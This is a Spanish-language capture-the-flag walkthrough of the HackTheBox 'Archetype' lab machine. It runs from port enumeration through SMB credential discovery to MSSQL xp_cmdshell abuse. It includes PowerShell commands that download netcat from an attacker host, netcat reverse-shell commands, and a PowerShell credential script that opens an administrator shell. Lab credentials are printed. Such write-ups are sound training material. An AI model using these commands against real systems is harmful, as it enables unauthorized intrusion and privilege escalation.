HackTheBox - Archetype (Guía)

Primera máquina de la categoría Starting point de HackTheBox.



Recordad que podéis pinchar en los comandos para ver una explicación más detallada de lo que ocurre al ejecutarlos.


Vamos con ello.




Índice



Enumeración (Pre-Explotación)

Comenzamos con el descubrimiento de puertos básicos con nmap



Puertos y servicios con Nmap

Ejecutamos nmap con el siguiente comando:

sudo nmap -p- -sC -sV -n -T5 10.10.10.27 -oX nmap_allPorts

Vemos que hay varios puertos abiertos


Hay algunas versiones que no hemos sido capaz de sacar en este primer escaneo.

Antes de ir más al detalle, vemos que hay 2 http corriendo en los puertos "5985" y "47001".


Si los visitamos en el navegador vemos que aparentemente no hay nada configurado ni hay aplicación web.


Tenemos un RPC abierto en el "135"


Los puertos "139" y "445" están corriendo Samba así que los anotamos para enumerarlos a continuación


Nos llama la atención también un servicio de SQL corriendo en el puerto "1433".


Por último, vemos el RDP corriendo en el puerto "3389"


Teniendo todo esto en cuenta: vamos a hacer una pasada con el script "vuln" de nmap para ver que sacamos a simple vista.



¿Podría el SMB ser vulnerable al "MS08-067"? Lo anotamos


Vamos a enumerar uno a uno los servicios más interesantes.



Enumerando MSRPC

Vamos a usar impacket-rpcdump para ver los endpoints del servicio:

impacket-rpcdump 10.10.10.27 -p 135

Esto nos listará los diferentes endpoints del servicio RPC.


Encontramos algo que podría ser interesante:


Según el magnífico libro de Carlos Polop "\PIPE\atsvc" podría utilizarse para ejecutar código remoto mediante el Task scheduler


También podemos enumerar este servicio con el script "msrpc-enum" de nmap o mediante varios escaners de Metasploit

Según vemos hay varias pipes a las que podríamos intentar acceder para explotar el sistema a través de este servicio, a parte de la ya mencionada. Tras mucho investigar, creo que este camino está aún por encima del nivel que tengo actualmente, no obstante tomo nota de ello por si tengo que retroceder sobre mis pasos, pero continuaré enumerando el resto de servicios.



Enumerando SMB

En el reporte que nos dió Nmap, vimos como era posible acceder como "guest" al servicio


Vamos a enumerar los shares con el script de nmap:

nmap --script=smb-enum* --script-args=unsafe=1 -T5 -oX nmap_smb-enum 10.10.10.27 

Vemos algunas cosas interesantes

Host script results:
| smb-enum-sessions: 
|   Users logged in
|     ARCHETYPE\sql_svc since <unknown>
|_    ARCHETYPE\Administrator since <unknown>
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.10.27\ADMIN$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.27\C$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.27\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.27\backups: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Anonymous access: READ
|_    Current user access: READ

Tenemos acceso al share "backups" en modo lectura.


Aún nos falta la versión exacta del servicio. Vamos a intentar sacarla con metasploit:

msfconsole; use scanner/smb/smb_version

Esto nos devuelve lo siguiente:

[*] 10.10.10.27:445       - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{754bf8a5-a389-423a-9992-77910b880dd7}) (authentication domain:ARCHETYPE)
[+] 10.10.10.27:445       -   Host is running Windows 2019 Standard (build:17763) (name:ARCHETYPE)
[*] 10.10.10.27:          - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Con esto obtenemos la versión (SMB 3.1.1) y el propio OS (Windows 2019 Standard build:17763)


Si buscamos posibles exploits para esta versión de Samba, vemos que podríamos intentar tirar por el SMBGhost. Lo anotamos y continuamos.


Vamos ahora a intentar ver que hay dentro del share "backups":

smbclient \\\\10.10.10.27\\backups

Dentro observamos un archivo que puede sernos muy interesante:

smb: \> dir
  .                                   D        0  Mon Jan 20 13:20:57 2020
  ..                                  D        0  Mon Jan 20 13:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 13:23:02 2020

Lo descargamos y vemos que dentro hay unas credenciales que a todas luces parecen ser del servicio SQL que encontramos en el puerto "1433"


<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Pr
       │ ovider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>

Tomamos nota y continuamos.



Enumerando SQL

Vamos a ver qué sacamos por aquí.


Lo primero es comprobar si efectivamente las credenciales que obtuvimos antes del archivo "prod.dtsConfig" en el SMB pertenecen al servicio SQL.


Usaremos impacket:

impacket-mssqlclient sql_svc@10.10.10.27 -windows-auth

Efectivamente, se confirma. Estamos dentro.

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> help

     lcd {path}                 - changes the current local directory to {path}
     exit                       - terminates the server process (and this session)
     enable_xp_cmdshell         - you know what it means
     disable_xp_cmdshell        - you know what it means
     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
     ! {cmd}                    - executes a local shell cmd
     
SQL>

Llegados a este punto, no vamos a profundizar más, ya que lo haremos en la fase de explotación.


Vemos que podemos intentar ejecutar comandos mediante "xp_cmdshell" así que intentaremos tirar por ahí.


Atendiendo a esta pista, vemos que efectivamente, el parámetro "xp_cmdshell" va a ser un punto muy a favor.



Enumerando RDP

Para terminar nuestro proceso de enumeración, vamos a ver si hay algo interesante en el RDP.


Vamos a ver si los credenciales del SQL son válidos para RDP:

rdesktop -u sql_svc 10.10.10.27

Vemos que las credenciales son correctas pero los permisos del grupo al que pertenece el usuario "sql_svc" no permiten conexiones via RDP.


Vamos a lanzar unos scripts con Nmap para ver si vemos algo más:

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 10.10.10.27 -oX nmap_RDP-enum 

No obtenemos nada relevante más allá de los datos de encriptación y la versión del servicio: "RDP 10.6 server"


No veo viabilidad en buscar un hueco ahora mismo por este servicio. Investigando tampoco he encontrado un exploit que parezca viable.


Damos por concluida la fase de reconocimiento y pasamos a la fase de sumario y explotación




Resumen de Vulnerabilidades (Pre-Explotación)

Recapitulando, tenemos las siguientes posibles vulnerabilidades:

  • SMB - CVE-2008-4250 (MS08-067)

  • SMB - SMBGhost (Remoto)

  • MSSQL - xp_cmdshell

Comenzamos de arriba a abajo:



SMB - CVE-2008-4250 (MS08-067)

Usamos metasploit para confirmar si esta vulnerabilidad es viable. Algo que examinando cuiodadosamente el exploit, empiezo a dudar, puesto que el OS de nuestra máquina víctima "Windows 2019 Standard" no consta entre las máquinas vulnerables para este exploit.


msfconsole -q; use exploit/windows/smb/ms08_067_netapi


Tras configurar correctamente los parámetros, y dejando la selección del target en modo automático puesto que ninguno de la lista corresponde con el de nuestra víctima, ejecutamos el exploit sin éxito.

[*] Started reverse TCP handler on 10.10.14.34:4444 
[*] 10.10.10.27:445 - Automatically detecting the target...
[*] 10.10.10.27:445 - Fingerprint: Windows 2019 -  - lang:Unknown
[*] 10.10.10.27:445 - We could not detect the language pack, defaulting to English
[-] 10.10.10.27:445 - Exploit aborted due to failure: no-target: No matching target
[*] Exploit completed, but no session was created.

También probé con el script manual pero sin éxito. Definitivamente el OS de la víctima no es compatible con este exploit.


Recordad generar vuestra propia shellcode via "msfvenom". Tenéis las instrucciones en el código comentado del exploit.

Pasamos al siguiente exploit.



SMB - SMBGhost (Remoto)

Tenemos dos posibles versiones para este exploit. Uno en remoto para acceder al sistema, y otro en local para escalar privilegios.


Vamos con el Remoto. De nuevo recurrimos a Metasploit para hacer una confirmación rápida sobre la viabilidad de este exploit:

msfconsole -q; use windows/smb/cve_2020_0796_smbghost

Configuramos correctamente los parámetros y lanzamos:

[*] Started reverse TCP handler on 10.10.14.34:4444 
[*] 10.10.10.27:445 - Running automatic check ("set AutoCheck false" to disable)
[-] 10.10.10.27:445 - Exploit aborted due to failure: not-vulnerable: The target is not exploitable. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

Desafortunadamente, Metasploit nos lo deja claro: El sistema no es vulnerable.



MSSQL - xp_cmdshell

Vamos a confirmar con Metasploit:

msfconsole -q; use admin/mssql/mssql_exec

Configuramos los parámetros:


Y obtenemos la confirmación de que el exploit funciona:

[*] Running module against 10.10.10.27

[*] 10.10.10.27:1433 - SQL Query: EXEC master..xp_cmdshell 'whoami'



 output
 ------
 archetype\sql_svc

La flag del usuario está en "C:\Users\sql_svc\Desktop\user.txt"

Dado que confirmamos la vulnerabilidad, damos por finalizada la fase de sumario de pre-explotación y pasamos a la fase de enumeración en post-explotación.




Enumeración (Post-Explotación)

Ahora que tenemos acceso a la ejecución de código en remoto mediante el servicio "mssql" corriendo en el puerto 1433, vamos a intentar conseguir una reverse shell y de ahí enumerar el sistema para escalar privilegios.



Consiguiendo una reverse shell

Ya vimos en la sección anterior como ejecutar código remoto con Metasploit mediante el usuario mssql.


Nos logeamos en el servicio usando "impacket-mssqlclient" como en la sección de enumeración e introducimos los credenciales.


Una vez dentro, y viendo que nos encontramos en "C:\Windows\system32", tenemos que trazar un plan.


Podriamos dedicarnos a enumerar todo el sistema mediante este proceso, pero sería terriblemente molesto y lento, así que lo primero es conseguir una reverse shell funcional hacia nuestra máquina.


Para ello, tendremos que descargar desde la máquina víctima, el binario de "netcat" usando un servidor local http con python en nuestra máquina atacante.


Una vez subido, simplemente nos conectaremos como haríamos normalmente ejecutando el binario desde la ejecución de código remoto del servicio mssql.


Cuando tengamos esto conseguido, iremos gestionando los siguientes pasos.


Es de buen hijo de vecino asegurarnos de que el binario que necesitamos coincide con la arquitectura del sistema en cuestión:

SQL> xp_cmdshell SET Processor
output                                                                             

--------------------------------------------------------------------------------   

PROCESSOR_ARCHITECTURE=AMD64 

Vemos como el sistema utiliza un AMD64 por lo tanto la arquitectura es x86-64.


Podéis descargar el binario desde aquí (Gracias a int0x33).


Ahora creamos un servidor http con python en nuestra máquina atacante:

python3 -m http.server 8080

Ahora descargamos el binario desde la máquina víctima utilizando el método "xp_cmdshell" del servicio "mssql":

SQL> xp_cmdshell powershell -command "Invoke-WebRequest -Uri "http://10.10.14.34:8080/nc64.exe" -OutFile "C:\Users\sql_svc\Desktop\nc64.exe""

Descargamos el binario en el escritorio del usuario "sql_svc" porque no queremos tener problemas de escritura con "System32"

Ahora levantamos un listener en nuestra máquina atacante y ejecutamos el siguiente comando en la máquina víctima:

SQL> xp_cmdshell C:\Users\sql_svc\Desktop\nc64.exe 10.10.14.34 6666 -e cmd.exe

Para los que como yo, no estéis acostumbrados a atacar Windows, sólo tenemos que cambiar el típico "-e /bin/bash" por la consola nativa de Windows, en este caso "cmd.exe".

listening on [any] 6666 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.27] 49848
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
archetype\sql_svc

Listo, tenemos una shell.


Ahora vamos a enumerar el sistema para intentar escalar privilegios.


Enumerando el sistema con WinPEAS

Vamos a descargar el binario de WinPEAS desde el repositorio de Carlos Polop (este tío es un genio, tiene material que vale literalmente oro, dadle mucho amor, muchas gracias por todo el conocimiento que estoy consiguiendo gracias a tus aportes compañero)


Repetimos el proceso de descarga igual que en el paso anterior


Cuando el binario ya está dentro, lo ejecutamos. Y algo muy interesante:


Vemos un archivo muy jugoso que contiene el historial de los comandos powershell de nuestro usuario. Si lo abrimos...:

C:\Windows\system32>type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

Tenemos unas credenciales que parecen ser del propio administrador.



Login como Admin mediante script Powershell vía RunAs

Vamos a intentar logearnos como tal... pero vamos a tener un problema. Nuestra reverse shell no es interactiva, por lo que el comando "runas", utilizado de manera similar al "su" de linux, nos pedirá una contraseña y nuestra reverse shell no nos permitirá introducirla:

runas /user:administrator cmd.exe
Enter the password for administrator: 

C:\Users\sql_svc\Desktop>

Tal y como vemos aquí, no es viable, tampoco podemos establecer una shell interactiva de la misma manera que hacemos cuando el sistema es Linux.


No es posible pipear la contraseña en el propio comando del runas, por diseño:


Pero podemos hacer un pequeño truco con "powershell".


Creamos un archivo en nuestra máquina atacante que contenga lo siguiente:

$username='administrator'
$password='MEGACORP_4dm1n!!'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-Command -ScriptBlock {C:\Users\sql_svc\Desktop\nc64.exe 10.10.X.X 7777 -e cmd.exe} -Credential $credential -computername localhost

y lo nombramos como "runme.ps1".


Ahora lo descargamos en nuestra máquina víctima con nuestro servidor local de python, configuramos el listener y lo ejecutamos de esta manera:

powershell -ExecutionPolicy Bypass -File runme.ps1

Y estamos dentro como admins:

Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Documents>whoami
whoami
archetype\administrator

La flag de root está en "C:\Users\Administrator\Desktop\root.txt"

Llegados a este punto, la máquina se da por #rooted.




Resumen de Vulnerabilidades (Post-Explotación)

La máquina ya se da por finalizada. Durante todo el proceso hemos visto como, a parte de poder acceder al usuario "administrator", ya sea con el truco del script con Powershell o bien mediante el "impacket-psexec", hemos localizado algunas posibles vulnerabilidades que podrían permitirnos escalar privilegios una vez dentro del sistema.


  • APpXSvc Hard LInk

  • SMBGhost Local (CVE-2020-0796)


También, "winPEAS" nos ha proporcionado algunas pistas sobre algunos exploits a los que podría ser vulnerable la máquina windows:


Lamentablemente aún no he sido capaz de llevarlas a cabo pero las anoto por aquí para volver a esta máquina más adelante y añadir el 💀MODO HARDCORE💀.